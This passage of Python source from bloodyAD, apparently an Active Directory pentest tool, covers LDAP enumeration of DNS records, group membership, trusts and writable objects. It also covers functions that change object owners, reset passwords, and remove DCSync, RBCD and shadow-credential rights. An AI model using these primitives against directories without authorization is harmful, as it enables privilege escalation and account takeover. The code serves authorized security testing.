domain_name): continue if domain_name[-1] != "." and domain_suffix != "MicrosoftDNS": # Then it's probably not a fqdn, suffix certainly needed domain_name = f"{domain_name}.{domain_suffix}" ip_addr = domain_name.split(".in-addr.arpa") if len(ip_addr) > 1: decimals = ip_addr[0].split(".") decimals.reverse() while len(decimals) < 4: decimals.append("0") domain_name = ".".join(decimals) yield {"recordName": domain_name} except (NoResultError, LDAPSearchException) as e: if type(e) is NoResultError: LOG.warning(f"[!] No listable record found in {nc}") else: LOG.warning(f"[!] {nc} couldn't be read on {conn.conf.host}") continue # Used to avoid duplicate entries if there is the same record in multiple partitions record_dict = {} record_entries = [] if transitive: trustmap = conn.ldap.getTrustMap() for trust in trustmap.values(): if "conn" in trust: record_entries.append(domainDnsDump(trust["conn"], zone, no_detail)) else: record_entries.append(domainDnsDump(conn, zone, no_detail)) basic_records = [] for records in record_entries: for r in records: keyName = "recordName" if "recordName" in r else "zoneName" # If it's a record with only the record name returns it later and only if we didn't find another record with more info if len(r) == 1 and keyName == "recordName": basic_records.append(r) continue yield_r = {} rname = r[keyName] if rname in record_dict: for r_type in r: if r_type == keyName: continue if record_dict[rname].get(r_type): if r[r_type] in record_dict[rname][r_type]: continue else: record_dict[rname][r_type] = [] yield_r[r_type] = r[r_type] record_dict[rname][r_type].append(r[r_type]) if not yield_r: continue else: yield_r = r record_dict[rname] = {} for k, v in r.items(): record_dict[rname][k] = [v] yield_r[keyName] = rname yield yield_r for basic_r in basic_records: if basic_r["recordName"] in record_dict: continue yield basic_r def membership(conn, target: str, no_recurse: bool = False): """ Retrieve SID and SAM Account Names of all groups a target belongs to :param target: sAMAccountName, DN, GUID or SID of the target :param no_recurse: if set, doesn't retrieve groups where target isn't a direct member """ ldap_filter = "" if no_recurse: entries = conn.ldap.bloodysearch(target, attr=["objectSid", "memberOf"]) for entry in entries: for group in entry.get("memberOf", []): ldap_filter += f"(distinguishedName={group})" if not ldap_filter: LOG.warning("[!] No direct group membership found") return [] else: # [MS-ADTS] 3.1.1.4.5.19 tokenGroups, tokenGroupsNoGCAcceptable attr = "tokenGroups" entries = conn.ldap.bloodysearch(target, attr=[attr]) for entry in entries: try: for groupSID in entry[attr]: ldap_filter += f"(objectSID={groupSID})" except KeyError: LOG.warning("[!] No membership found") return [] if not ldap_filter: LOG.warning("no GC Server available, the set of groups might be incomplete") attr = "tokenGroupsNoGCAcceptable" entries = conn.ldap.bloodysearch(target, attr=[attr]) for entry in entries: for groupSID in entry[attr]: ldap_filter += f"(objectSID={groupSID})" entries = conn.ldap.bloodysearch( conn.ldap.domainNC, f"(|{ldap_filter})", search_scope=Scope.SUBTREE, attr=["objectSID", "sAMAccountName"], ) return entries def trusts(conn, transitive: bool = False): """ Display trusts in an ascii tree starting from the DC domain as tree root. A->B means A can auth on B and A-B means bidirectional :param transitive: Try to fetch transitive trusts (you should start from a dc of your user domain to have more complete results) """ trust_dict = asyncio.get_event_loop().run_until_complete( conn.ldap.getTrusts(transitive, conn.conf.dns) ) # Get the host domain as root for the trust tree trust_root_domain = (".".join(conn.ldap.domainNC.split(",DC="))).split("DC=")[1] if trust_dict: tree = {} asciitree.branchFactory({":" + trust_root_domain: tree}, [], trust_dict) tree_printer = asciitree.LeftAligned() print(tree_printer({trust_root_domain: tree})) def object( conn, target: str, attr: str = "*", resolve_sd: bool = False, raw: bool = False ): """ Retrieve LDAP attributes for the target object provided, binary data will be outputted in base64 :param target: sAMAccountName, DN, GUID or SID of the target (if you give an empty string "" prints rootDSE) :param attr: attributes to retrieve separated by a comma, retrieves all the attributes by default :param resolve_sd: if set, permissions linked to a security descriptor will be resolved (see bloodyAD github wiki/Access-Control for more information) :param raw: if set, will return attributes as sent by the server without any formatting, binary data will be outputted in base64 """ attributesSD = [ "nTSecurityDescriptor", "msDS-GroupMSAMembership", "msDS-AllowedToActOnBehalfOfOtherIdentity", ] entries = conn.ldap.bloodysearch(target, attr=attr.split(","), raw=raw) rendered_entries = utils.renderSearchResult(entries) if resolve_sd and not raw: for entry in rendered_entries: for attrSD in attributesSD: if attrSD in entry: e = entry[attrSD] if not isinstance(e, list): entry[attrSD] = utils.renderSD(e, conn) else: entry[attrSD] = [utils.renderSD(sd, conn) for sd in e] yield entry else: yield from rendered_entries def search( conn, base: str = "DOMAIN", filter: str = "(objectClass=*)", attr: str = "*", resolve_sd: bool = False, raw: bool = False, ): """ Search in LDAP database, binary data will be outputted in base64 :param base: DN of the parent object :param filter: filter to apply to the LDAP search (see Microsoft LDAP filter syntax) :param attr: attributes to retrieve separated by a comma :param resolve_sd: if set, permissions linked to a security descriptor will be resolved (see bloodyAD github wiki/Access-Control for more information) :param raw: if set, will return attributes as sent by the server without any formatting, binary data will be outputed in base64 """ attributesSD = [ "nTSecurityDescriptor", "msDS-GroupMSAMembership", "msDS-AllowedToActOnBehalfOfOtherIdentity", ] if base == "DOMAIN": base = conn.ldap.domainNC entries = conn.ldap.bloodysearch( base, filter, search_scope=Scope.SUBTREE, attr=attr.split(","), raw=raw ) rendered_entries = utils.renderSearchResult(entries) if resolve_sd and not raw: for entry in rendered_entries: for attrSD in attributesSD: if attrSD in entry: e = entry[attrSD] if not isinstance(e, list): entry[attrSD] = utils.renderSD(e, conn) else: entry[attrSD] = [utils.renderSD(sd, conn) for sd in e] yield entry else: yield from rendered_entries # TODO: Search writable for application partitions too? def writable( conn, otype: Literal["ALL", "OU", "USER", "COMPUTER", "GROUP", "DOMAIN", "GPO"] = "ALL", right: Literal["ALL", "WRITE", "CHILD"] = "ALL", detail: bool = False, # partition: Literal["DOMAIN", "DNS", "ALL"] = "DOMAIN" ): """ Retrieve objects writable by client :param otype: type of writable object to retrieve :param right: type of right to search :param detail: if set, displays attributes/object types you can write/create for the object """ # :param partition: directory partition a.k.a naming context to explore ldap_filter = "" if otype == "USER": ldap_filter = "(sAMAccountType=805306368)" else: if otype == "ALL": objectClass = "*" elif otype == "OU": objectClass = "container" elif otype == "GPO": objectClass = "groupPolicyContainer" else: objectClass = otype ldap_filter = f"(objectClass={objectClass})" attr_params = {} genericReturn = ( (lambda a: [b for b in a]) if detail else (lambda a: ["permission"] if a else []) ) if right == "WRITE" or right == "ALL": attr_params["allowedAttributesEffective"] = { "lambda": genericReturn, "right": "WRITE", } def testSDRights(a): # Mask defined in MS-ADTS for allowedAttributesEffective r = [] if not a: return r if a & 3: r.append("OWNER") if a & 4: r.append("DACL") if a & 8: r.append("SACL") return r attr_params["sDRightsEffective"] = {"lambda": testSDRights, "right": "WRITE"} if right == "CHILD" or right == "ALL": attr_params["allowedChildClassesEffective"] = { "lambda": genericReturn, "right": "CREATE_CHILD", } searchbases = [] # if partition == "DOMAIN": searchbases.append(conn.ldap.domainNC) # elif partition == "DNS": # searchbases.append(conn.ldap.applicationNCs) # A definir https://learn.microsoft.com/en-us/windows/win32/ad/enumerating-application-directory-partitions-in-a-forest # else: # searchbases.append(conn.ldap.NCs) # A definir right_entry = {} for searchbase in searchbases: for entry in conn.ldap.bloodysearch( searchbase, ldap_filter, search_scope=Scope.SUBTREE, attr=attr_params.keys() ): for attr_name in entry: if attr_name not in attr_params: continue key_names = attr_params[attr_name]["lambda"](entry[attr_name]) for name in key_names: if name == "distinguishedName": name = "dn" if name not in right_entry: right_entry[name] = [] right_entry[name].append(attr_params[attr_name]["right"]) if right_entry: yield { **{"distinguishedName": entry["distinguishedName"]}, **right_entry, } right_entry = {} bloodyAD-2.1.7/bloodyAD/cli_modules/remove.py000066400000000000000000000222031473321043600210630ustar00rootroot00000000000000import binascii from typing import Literal import msldap from bloodyAD import utils from bloodyAD.exceptions import LOG from bloodyAD.formatters import accesscontrol, common, dns, cryptography from bloodyAD.exceptions import BloodyError from bloodyAD.network.ldap import Change def dcsync(conn, trustee: str): """ Remove DCSync right for provided trustee :param trustee: sAMAccountName, DN, GUID or SID of the trustee """ new_sd, _ = utils.getSD(conn, conn.ldap.domainNC) if "s-1-" in trustee.lower(): trustee_sid = trustee else: trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ "objectSid" ] access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] utils.delRight(new_sd, trustee_sid, access_mask) req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} ) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] conn.ldap.bloodymodify( conn.ldap.domainNC, {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, controls, ) LOG.info(f"[-] {trustee} can't DCSync anymore") def dnsRecord( conn, name: str, data: str, dnstype: Literal["A", "AAAA", "CNAME", "MX", "PTR", "SRV", "TXT"] = "A", zone: str = "CurrentDomain", ttl: int = None, preference: int = None, port: int = None, priority: int = None, weight: int = None, forest: bool = False, ): """ Remove a DNS record of an AD environment. :param name: name of the dnsNode object (hostname) which contains the record :param data: DNS record data :param dnstype: DNS record type :param zone: DNS zone :param ttl: DNS record TTL :param preference: DNS MX record preference :param port: listening port of the service in a DNS SRV record :param priority: priority of a DNS SRV record against concurrent :param weight: weight of a DNS SRV record against concurrent :param forest: if set, will fetch the dns record in forest instead of domain """ naming_context = "," + conn.ldap.domainNC if zone == "CurrentDomain": zone = "" for label in naming_context.split(",DC="): if label: zone += "." + label if forest: zone = "_msdcs" + zone else: # Removes first dot zone = zone[1:] # TODO: take into account custom ForestDnsZones and DomainDnsZones partition name ? if forest: zone_type = "ForestDnsZones" else: zone_type = "DomainDnsZones" zone_dn = f",DC={zone},CN=MicrosoftDNS,DC={zone_type}{naming_context}" record_dn = f"DC={name}{zone_dn}" record_to_remove = None dns_list = next(conn.ldap.bloodysearch(record_dn, attr=["dnsRecord"], raw=True))[ "dnsRecord" ] for raw_record in dns_list: record = dns.Record(raw_record) tmp_record = dns.Record() if not ttl: ttl = record["TtlSeconds"] tmp_record.fromDict( data, dnstype, ttl, record["Rank"], record["Serial"], preference, port, priority, weight, ) if tmp_record.getData() == raw_record: record_to_remove = raw_record break if not record_to_remove: LOG.warning("[!] Record not found") return if len(dns_list) > 1: conn.ldap.bloodymodify( record_dn, {"dnsRecord": [(Change.DELETE.value, record_to_remove)]} ) else: conn.ldap.bloodydelete(record_dn) LOG.info(f"[-] Given record has been successfully removed from {name}") def genericAll(conn, target: str, trustee: str): """ Remove full control of trustee on target :param target: sAMAccountName, DN, GUID or SID of the target :param trustee: sAMAccountName, DN, GUID or SID of the trustee """ new_sd, _ = utils.getSD(conn, target) if "s-1-" in trustee.lower(): trustee_sid = trustee else: trustee_sid = next(conn.ldap.bloodysearch(trustee, attr=["objectSid"]))[ "objectSid" ] utils.delRight(new_sd, trustee_sid) req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( {"Flags": accesscontrol.DACL_SECURITY_INFORMATION} ) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] conn.ldap.bloodymodify( target, {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, controls, ) LOG.info(f"[-] {trustee} doesn't have GenericAll on {target} anymore") def groupMember(conn, group: str, member: str): """ Remove member (user, group, computer) from group :param group: sAMAccountName, DN, GUID or SID of the group :param member: sAMAccountName, DN, GUID or SID of the member """ # This is equivalent to classic add member, # see [MS-ADTS] - 3.1.1.3.1.2.4 Alternative Forms of DNs # But also has the advantage of being compatible with foreign security principals, # see [MS-ADTS] - 3.1.1.5.3.3 Processing Specifics if "s-1-" in member.lower(): # We assume member is an SID member_transformed = f"" else: member_transformed = conn.ldap.dnResolver(member) conn.ldap.bloodymodify( group, {"member": [(Change.DELETE.value, member_transformed)]} ) LOG.info(f"[-] {member} removed from {group}") def object(conn, target: str): """ Remove object (user, group, computer, organizational unit, etc) :param target: sAMAccountName, DN, GUID or SID of the target """ conn.ldap.bloodydelete(target) LOG.info(f"[-] {target} has been removed") def rbcd(conn, target: str, service: str): """ Remove Resource Based Constraint Delegation for service on target :param target: sAMAccountName, DN, GUID or SID of the target :param service: sAMAccountName, DN, GUID or SID of the service account """ control_flag = 0 new_sd, _ = utils.getSD( conn, target, "msDS-AllowedToActOnBehalfOfOtherIdentity", control_flag ) if "s-1-" in service.lower(): service_sid = service else: service_sid = next(conn.ldap.bloodysearch(service, attr=["objectSid"]))[ "objectSid" ] access_mask = accesscontrol.ACCESS_FLAGS["ADS_RIGHT_DS_CONTROL_ACCESS"] utils.delRight(new_sd, service_sid, access_mask) attr_values = [] if len(new_sd["Dacl"].aces) > 0: attr_values = new_sd.getData() conn.ldap.bloodymodify( target, { "msDS-AllowedToActOnBehalfOfOtherIdentity": [ ( Change.REPLACE.value, attr_values, ) ] }, ) LOG.info(f"[-] {service} can't impersonate users on {target} anymore") def shadowCredentials(conn, target: str, key: str = None): """ Remove Key Credentials from target :param target: sAMAccountName, DN, GUID or SID of the target :param key: RSA key of Key Credentials to remove from the target, removes all if key not specified """ keyCreds = next( conn.ldap.bloodysearch(target, attr=["msDS-KeyCredentialLink"], raw=True) )["msDS-KeyCredentialLink"] newKeyCreds = [] isFound = False for keyCred in keyCreds: key_raw = common.DNBinary(keyCred).value key_blob = cryptography.KEYCREDENTIALLINK_BLOB(key_raw) if key and key_blob.getKeyID() != binascii.unhexlify(key): newKeyCreds.append(keyCred.decode()) else: isFound = True LOG.debug("[*] Key to delete found") if not isFound: LOG.warning("[!] No key found") conn.ldap.bloodymodify( target, {"msDS-KeyCredentialLink": [(Change.REPLACE.value, newKeyCreds)]} ) str_key = key if key else "All keys" LOG.info(f"[-] {str_key} removed") def uac(conn, target: str, f: list = None): """ Remove property flags altering user/computer object behavior :param target: sAMAccountName, DN, GUID or SID of the target :param f: name of property flag to remove, can be called multiple times if multiple flags to remove (e.g -f LOCKOUT -f ACCOUNTDISABLE) """ uac = 0 for flag in f: uac |= accesscontrol.ACCOUNT_FLAGS[flag] try: old_uac = next( conn.ldap.bloodysearch(target, attr=["userAccountControl"], raw=True) )["userAccountControl"][0] except IndexError as e: for allowed in next(conn.ldap.bloodysearch(target, attr=["allowedAttributes"]))[ "allowedAttributes" ]: if "userAccountControl" in allowed: raise BloodyError( "Current user doesn't have the right to read userAccountControl on" f" {target}" ) from e raise BloodyError(f"{target} doesn't have userAccountControl attribute") from e uac = int(old_uac) & ~uac conn.ldap.bloodymodify( target, {"userAccountControl": [(Change.REPLACE.value, uac)]} ) LOG.info(f"[-] {f} property flags removed from {target}'s userAccountControl") bloodyAD-2.1.7/bloodyAD/cli_modules/set.py000066400000000000000000000241301473321043600203620ustar00rootroot00000000000000from bloodyAD import utils from bloodyAD.exceptions import LOG from bloodyAD.formatters import accesscontrol from bloodyAD.network.ldap import Change import msldap from datetime import datetime, timezone, timedelta import unicodedata def object(conn, target: str, attribute: str, v: list = [], raw: bool = False): """ Add/Replace/Delete target's attribute :param target: sAMAccountName, DN, GUID or SID of the target :param attribute: name of the attribute :param v: add value if attribute doesn't exist, replace value if attribute exists, delete if no value given, can be called multiple times if multiple values to set (e.g -v HOST/janettePC -v HOST/janettePC.bloody.local) :param raw: if set, will try to send the values provided as is, without any encoding """ # Converting raw str into raw binary if raw: tmp_v = [] for vstr in v: tmp_v.add(vstr.encode()) v = tmp_v conn.ldap.bloodymodify( target, {attribute: [(Change.REPLACE.value, v)]}, encode=(not raw) ) LOG.info(f"[+] {target}'s {attribute} has been updated") def owner(conn, target: str, owner: str): """ Changes target ownership with provided owner (WriteOwner permission required) :param target: sAMAccountName, DN, GUID or SID of the target :param owner: sAMAccountName, DN, GUID or SID of the new owner """ new_sid = next(conn.ldap.bloodysearch(owner, attr=["objectSid"]))["objectSid"] new_sd, _ = utils.getSD( conn, target, "nTSecurityDescriptor", accesscontrol.OWNER_SECURITY_INFORMATION ) old_sid = new_sd["OwnerSid"].formatCanonical() if old_sid == new_sid: LOG.warning(f"[!] {old_sid} is already the owner, no modification will be made") else: new_sd["OwnerSid"].fromCanonical(new_sid) req_flags = msldap.wintypes.asn1.sdflagsrequest.SDFlagsRequestValue( {"Flags": accesscontrol.OWNER_SECURITY_INFORMATION} ) controls = [("1.2.840.113556.1.4.801", True, req_flags.dump())] conn.ldap.bloodymodify( target, {"nTSecurityDescriptor": [(Change.REPLACE.value, new_sd.getData())]}, controls, ) LOG.info(f"[+] Old owner {old_sid} is now replaced by {owner} on {target}") # Full info on what you can do: # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/change-windows-active-directory-user-password def password(conn, target: str, newpass: str, oldpass: str = None): """ Change password of a user/computer :param target: sAMAccountName, DN, GUID or SID of the target :param newpass: new password for the target :param oldpass: old password of the target, mandatory if you don't have "change password" permission on the target """ encoded_new_password = '"%s"' % newpass if oldpass is not None: encoded_old_password = '"%s"' % oldpass op_list = [ (Change.DELETE.value, encoded_old_password), (Change.ADD.value, encoded_new_password), ] else: op_list = [(Change.REPLACE.value, encoded_new_password)] try: conn.ldap.bloodymodify(target, {"unicodePwd": op_list}) except msldap.commons.exceptions.LDAPModifyException as e: # Let's check if we comply to pwd policy entry = next( conn.ldap.bloodysearch( target, attr=[ "msDS-ResultantPSO", "pwdLastSet", "displayName", "sAMAccountName", "sAMAccountType", ], ) ) pwdLastSet = entry.get("pwdLastSet", 0) pwdPolicy = None error_str = "" if "msDS-ResultantPSO" in entry: tmpPolicy = next( conn.ldap.bloodysearch( entry["msDS-ResultantPSO"], attr=[ "msDS-MinimumPasswordAge", "msDS-MinimumPasswordLength", "msDS-PasswordHistoryLength", "msDS-PasswordComplexityEnabled", "name", ], ) ) pwdPolicy = { "minPwdAge": tmpPolicy.get("msDS-MinimumPasswordAge", timedelta()), "minPwdLength": tmpPolicy.get("msDS-MinimumPasswordLength", 0), "pwdHistoryLength": tmpPolicy.get("msDS-PasswordHistoryLength", 0), "pwdComplexity": tmpPolicy.get("msDS-PasswordComplexityEnabled", False), } # custom password policies are not readable by basic users if "name" not in tmpPolicy: error_str = ( "Password can't be changed. User is subject to the custom password" f" policy {entry['msDS-ResultantPSO'].split(',')[0]} which may be" " more restrictive than the default one." ) else: pwdPolicy = next( conn.ldap.bloodysearch( conn.ldap.domainNC, attr=[ "minPwdAge", "minPwdLength", "pwdHistoryLength", "pwdProperties", ], ) ) pwdPolicy["pwdComplexity"] = (pwdPolicy["pwdProperties"] & 1) > 0 # Complexity check if pwdPolicy.get("pwdComplexity"): tmp_err = "New password doesn't match the complexity:" objectName = entry["sAMAccountName"] objectDisplayName = entry.get("displayName", "") # Checks on name only apply on users not computers idk why if ( entry["sAMAccountType"] == 805306368 and objectName.upper() in newpass.upper() ): error_str = ( f"{tmp_err} newpass must not include the user's name '{objectName}'" " (case insensitive)." ) elif ( entry["sAMAccountType"] == 805306368 and objectDisplayName and objectDisplayName.upper() in newpass.upper() ): error_str = ( f"{tmp_err} newpass must not include the user's display name" f" '{objectDisplayName}' (case insensitive)." ) else: checks = 0 if any(char.isupper() for char in newpass): checks += 1 if any(char.islower() for char in newpass): checks += 1 if any(char.isdigit() for char in newpass): checks += 1 if any(char in '-!"#$%&()*,./:;?@[]^_`{|}~+<=>' for char in newpass): checks += 1 # Any Unicode character that's categorized as an alphabetic character but isn't uppercase or lowercase # https://www.unicode.org/reports/tr44/#General_Category_Values if any( "L" in unicodedata.category(char) and unicodedata.category(char) not in ["Ll", "Lu"] for char in newpass ): checks += 1 if checks < 3: error_str = ( f"{tmp_err} The password must contains characters from three of" " the following categories: Uppercase, Lowercase, Digits," " Special, Unicode Alphabetic not included in Uppercase and" " Lowercase" ) # Pwd length check if len(newpass) < pwdPolicy.get("minPwdLength", 0): error_str += ( "\nNew password should have at least" f" {pwdPolicy['minPwdLength']} characters and not {len(newpass)}" ) # Pwd age check if pwdLastSet: pwdAge = datetime.now(timezone.utc) - pwdLastSet if pwdAge < -pwdPolicy.get("minPwdAge", timedelta()): error_str += ( "\nPassword can't be changed before" f" {pwdPolicy['minPwdAge'] - pwdAge} because of the minimum" " password age policy." ) # No issue has been found, it may be because of the password history if not error_str: # If password changed without oldpass, you don't need to respect password history if not oldpass: error_str = ( "Password can't be changed. It may be because the oldpass provided" " is not valid.\nYou can try to use another password change" " protocol such as smbpasswd, server error may be more explicit." ) else: print(pwdPolicy) if pwdPolicy.get("pwdHistoryLength", 0) > 0: if oldpass == newpass: error_str = "New Password can't be identical to old password." else: error_str = ( "Password can't be changed. It may be because the new" " password is already in the password history of the" " target or that the oldpass provided is not valid.\nYou" " can try to use another password change protocol such as" " smbpasswd, server error may be more explicit." ) else: error_str = ( "Password can't be changed. It may be because the oldpass" " provided is not valid.\nYou can try to use another password" " change protocol such as smbpasswd, server error may be more" " explicit." ) # We can't modify the object on the fly so let's do it on the class :D msldap.commons.exceptions.LDAPModifyException.__str__ = lambda self: error_str raise e LOG.info("[+] Password changed successfully!") return True bloodyAD-2.1.7/bloodyAD/exceptions.py000066400000000000000000000036541473321043600174610ustar00rootroot00000000000000import logging LOG = logging.getLogger("bloodyAD") class BloodyError(Exception): pass class LDAPError(BloodyError): pass class ResultError(LDAPError): def __init__(self, result): self.result = result if self.result["result"] == 50: self.message = ( "[-] Could not modify object, the server reports insufficient rights: " + self.result["message"] ) elif self.result["result"] == 19: self.message = ( "[-] Could not modify object, the server reports a constrained" " violation: " + self.result["message"] ) else: self.message = "[-] The server returned an error: " + self.result["message"] super().__init__(self.message) class NoResultError(LDAPError): def __init__(self, search_base, ldap_filter): self.filter = ldap_filter self.base = search_base self.message = f"[-] No object found in {self.base} with filter: {self.filter}" super().__init__(self.message) class TooManyResultsError(LDAPError): def __init__(self, search_base, ldap_filter, entries): self.filter = ldap_filter self.base = search_base self.limit = 10 self.entries = list(entries) if len(self.entries) <= self.limit: self.results = "\n".join(entry["dn"] for entry in entries) self.message = ( f"[-] {len(self.entries)} objects found in {self.base} with" f" filter: {ldap_filter}\n" ) self.message += "\tPlease put the full target DN\n" self.message += f"\tResult of query: \n{self.results}" else: self.message = ( f"\tMore than {self.limit} entries in {self.base} match {self.filter}" ) self.message += "\tPlease put the full target DN" super().__init__(self.message) bloodyAD-2.1.7/bloodyAD/formatters/000077500000000000000000000000001473321043600171045ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/formatters/__init__.py000066400000000000000000000000001473321043600212030ustar00rootroot00000000000000bloodyAD-2.1.7/bloodyAD/formatters/accesscontrol.py000066400000000000000000000103671473321043600223270ustar00rootroot00000000000000from bloodyAD.formatters import ldaptypes import uuid # 2.4.7 SECURITY_INFORMATION OWNER_SECURITY_INFORMATION = 0x00000001 GROUP_SECURITY_INFORMATION = 0x00000002 DACL_SECURITY_INFORMATION = 0x00000004 SACL_SECURITY_INFORMATION = 0x00000008 LABEL_SECURITY_INFORMATION = 0x00000010 UNPROTECTED_SACL_SECURITY_INFORMATION = 0x10000000 UNPROTECTED_DACL_SECURITY_INFORMATION = 0x20000000 PROTECTED_SACL_SECURITY_INFORMATION = 0x40000000 PROTECTED_DACL_SECURITY_INFORMATION = 0x80000000 ATTRIBUTE_SECURITY_INFORMATION = 0x00000020 SCOPE_SECURITY_INFORMATION = 0x00000040 BACKUP_SECURITY_INFORMATION = 0x00010000 # https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum ACCESS_FLAGS = { # Flag constants "GENERIC_READ": 0x80000000, "GENERIC_WRITE": 0x40000000, "GENERIC_EXECUTE": 0x20000000, "GENERIC_ALL": 0x10000000, "MAXIMUM_ALLOWED": 0x02000000, "ACCESS_SYSTEM_SECURITY": 0x01000000, "SYNCHRONIZE": 0x00100000, # Not in the spec but equivalent to the flags below it "FULL_CONTROL": 0x000F01FF, "WRITE_OWNER": 0x00080000, "WRITE_DACL": 0x00040000, "READ_CONTROL": 0x00020000, "DELETE": 0x00010000, # ACE type specific mask constants # Note that while not documented, these also seem valid # for ACCESS_ALLOWED_ACE types "ADS_RIGHT_DS_CONTROL_ACCESS": 0x00000100, "ADS_RIGHT_DS_CREATE_CHILD": 0x00000001, "ADS_RIGHT_DS_DELETE_CHILD": 0x00000002, "ADS_RIGHT_DS_READ_PROP": 0x00000010, "ADS_RIGHT_DS_WRITE_PROP": 0x00000020, "ADS_RIGHT_DS_SELF": 0x00000008, } # https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace ACE_FLAGS = { # Flag constants "CONTAINER_INHERIT_ACE": 0x02, "FAILED_ACCESS_ACE_FLAG": 0x80, "INHERIT_ONLY_ACE": 0x08, "INHERITED_ACE": 0x10, "NO_PROPAGATE_INHERIT_ACE": 0x04, "OBJECT_INHERIT_ACE": 0x01, "SUCCESSFUL_ACCESS_ACE_FLAG": 0x40, } # see https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties ACCOUNT_FLAGS = { "SCRIPT": 0x0001, "ACCOUNTDISABLE": 0x0002, "HOMEDIR_REQUIRED": 0x0008, "LOCKOUT": 0x0010, "PASSWD_NOTREQD": 0x0020, "PASSWD_CANT_CHANGE": 0x0040, "ENCRYPTED_TEXT_PWD_ALLOWED": 0x0080, "TEMP_DUPLICATE_ACCOUNT": 0x0100, "NORMAL_ACCOUNT": 0x0200, "INTERDOMAIN_TRUST_ACCOUNT": 0x0800, "WORKSTATION_TRUST_ACCOUNT": 0x1000, "SERVER_TRUST_ACCOUNT": 0x2000, "DONT_EXPIRE_PASSWORD": 0x10000, "MNS_LOGON_ACCOUNT": 0x20000, "SMARTCARD_REQUIRED": 0x40000, "TRUSTED_FOR_DELEGATION": 0x80000, "NOT_DELEGATED": 0x100000, "USE_DES_KEY_ONLY": 0x200000, "DONT_REQ_PREAUTH": 0x400000, "PASSWORD_EXPIRED": 0x800000, "TRUSTED_TO_AUTH_FOR_DELEGATION": 0x1000000, "PARTIAL_SECRETS_ACCOUNT": 0x04000000, "USE_AES_KEYS": 0x8000000, } def createACE(sid, object_type=None, access_mask=ACCESS_FLAGS["FULL_CONTROL"]): nace = ldaptypes.ACE() nace["AceFlags"] = ( ACE_FLAGS["CONTAINER_INHERIT_ACE"] + ACE_FLAGS["OBJECT_INHERIT_ACE"] ) if object_type is None: acedata = ldaptypes.ACCESS_ALLOWED_ACE() nace["AceType"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE else: nace["AceType"] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() acedata["ObjectType"] = uuid.UUID(object_type).bytes_le acedata["InheritedObjectType"] = b"" acedata["Flags"] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT acedata["Mask"] = ldaptypes.ACCESS_MASK() acedata["Mask"]["Mask"] = access_mask if type(sid) is str: acedata["Sid"] = ldaptypes.LDAP_SID() acedata["Sid"].fromCanonical(sid) else: acedata["Sid"] = sid nace["Ace"] = acedata return nace def createEmptySD(): sd = ldaptypes.SR_SECURITY_DESCRIPTOR() sd["Revision"] = b"\x01" sd["Sbz1"] = b"\x00" sd["Control"] = 32772 sd["OwnerSid"] = ldaptypes.LDAP_SID() # BUILTIN\Administrators sd["OwnerSid"].fromCanonical("S-1-5-32-544") sd["GroupSid"] = b"" sd["Sacl"] = b"" acl = ldaptypes.ACL() acl["AclRevision"] = 4 acl["Sbz1"] = 0 acl["Sbz2"] = 0 acl.aces = [] sd["Dacl"] = acl return sd bloodyAD-2.1.7/bloodyAD/formatters/adschema.py000066400000000000000000003500151473321043600212270ustar00rootroot00000000000000VALIDATED_RIGHTS = { "bf9679c0-0de6-11d0-a285-00aa003049e2": "member (Self-Membership)", "72e39547-7b18-11d1-adef-00c04fd8d5cd": "dNSHostName (Validated-DNS-Host-Name)", "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": ( "msDS-AdditionalDnsHostName (Validated-MS-DS-Additional-DNS-Host-Name)" ), "d31a8757-2447-4545-8081-3bb610cacbf2": ( "msDS-Behavior-Version (Validated-MS-DS-Behavior-Version)" ), "f3a64788-5306-11d1-a9c5-0000f80367c1": "servicePrincipalName (Validated-SPN)", } CONTROL_ACCESS_RIGHTS = { "ee914b82-0a98-11d1-adbb-00c04fd8d5cd": "Abandon-Replication", "440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID", "1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids", "68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate", "edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy", "0e10c968-78fb-11d2-90d4-00c04f79dc55": "Certificate-Enrollment", "a05b8cc2-17bc-4802-a710-e7c15ab866a2": "Certificate-AutoEnrollment", "014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master", "cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master", "bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC", "d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master", "e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master", "e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust", "fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection", "ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server", "69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms", "2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script", "9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica", "4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota", 